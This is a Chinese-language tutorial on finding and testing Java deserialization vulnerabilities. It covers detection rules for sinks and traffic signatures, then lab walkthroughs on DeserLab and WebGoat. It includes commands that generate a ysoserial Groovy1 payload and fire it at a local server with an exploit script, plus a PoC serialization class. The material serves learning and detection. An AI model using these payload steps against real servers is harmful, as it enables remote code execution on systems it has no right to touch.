0x01 漏洞检测方案
白盒测试
主要遵循两个规则:
- 从漏洞利用原理角度出发:检测可利用的第三方库及版本,但这个可能会有遗漏,就是对引用的第三方库中是否也引入了这些可利用的第三方库。
- 解析java源代码,可以被序列化的类一定实现了Serializable接口且重写了readObject()方法。如果在项目代码某处调用了ObjectInputStream.readObject()且反序列化对象追溯到是可由外部参数输入控制则基本可以确定存在反序列化漏洞了
具体方法:
通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点可以搜索以下方法:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。
若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
若包含危险库,则使用ysoserial进行攻击复现。
【注】: ysoserial工具是在常见的Java库中发现的实用程序和面向属性的编程“小工具链”的集合,它们可以在适当的条件下利用Java应用程序执行不安全的对象反序列化
黑盒测试
黑盒流量分析:
在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输。因而在流量中有一些特征:
(1)TCP:必有
ac ed 00 05
,这个16进制流基本上也意味者java反序列化的开始;(2)HTTP:必有
rO0AB
,其实这就是ac ed 00 05
的base64编码的结果;以上意味着存在Java反序列化,可尝试构造payload进行攻击。
黑盒Java的RMI:
rmi是java的一种远程对象(类)调用的服务端,默认于1099端口,基予socket通信,该通信实现远程调用完全基于序列化以及反序列化。
0x02 DeserLab环境测试
此处利用github上的一个简易版的Java程序DeserLab使用了Groovy库的简单网络协议应用,实现client向server端发送序列化数据的功能。
运行服务器端和客户端,可以使用以下命令:
1 | java -jar DeserLab.jar -server 127.0.0.1 8899 |
结果为:
1 | $ java -jar DeserLab.jar -client 127.0.0.1 8899 |
1 | $ java -jar DeserLab.jar -server 127.0.0.1 8899 |
此时开启RawCap.exe进行监听流量
客户端开始向服务器发送消息
服务器端回显
此时用wireshark打开dumpfile.pcap过滤筛选并进行分析
使用SerializationDumper 工具对其序列化数据进行分析
1 | $ java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101770d000b68656c6c6f20776f726c64737200146e622e64657365722e4861736852657175657374e52ce9a92ac1f9910200024c000a64617461546f486173687400124c6a6176612f6c616e672f537472696e673b4c00077468654861736871007e0001787074000568656c6c6f740000 |
从序列化数据分析工具的输出中知道的第一件事就是它是序列化数据,第二件事是显然是在客户端和服务器之间传输了一个对象’nb.deser.HashRequest’。如果我们还将此分析与之前的wireshark检查结合起来,我们还会了解到用户名是作为TC_BLOCKDATA类型内的字符串发送的:
1 | TC_BLOCKDATA - 0x77 |
用ysoserial生成针对Groovy库的payload
1 | java -jar ysoserial-master.jar Groovy1 "calc.exe" >payload.bin |
使用deserlab_exploit.py脚本生成payload并执行
1 | python2 deserlab_exploit.py 127.0.0.1 8899 payload.bin |
成功执行命令
两次的TCP流对比
0x03 Webgoat环境测试
环境的搭建
apt-get install -y default-jre
然后查看Java版本信息
java -version
下载webgoat
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar
安装 webgoat
java -jar webgoat-server-8.0.0.M21.jar --server.port=8000 --server.address=0.0.0.0
出现了这个,即运行成功
于是打开浏览器 http://192.168.114.128:8000/WebGoat/
进去随便注册个账号即可
其他的启动方法: https://github.com/WebGoat/WebGoat
查看源代码
打开\WebGoat-develop\webgoat-lessons\insecure-deserialization\src\main\java\org\owasp\webgoat\plugin\InsecureDeserializationTask.java
源文件
查看关键代码
将传来的数据直接base64解码然后进行readObject()
尝试简单构造poc
1 | import java.io.*; |
打开生成的文件
利用SerializationDump进行分析
$ java -jar SerializationDumper-v1.0.jar aced000573720003506f630f33e7a924a5f59d0200007870
读取到数据的字段结构内容
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 3 - 0x00 03
Value - Poc - 0x506f63
serialVersionUID - 0x0f 33 e7 a9 24 a5 f5 9d
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
Poc
values
0x04 参考链接
The Java serialization algorithm revealed
Java Deserialization — From Discovery to Reverse Shell on Limited Environments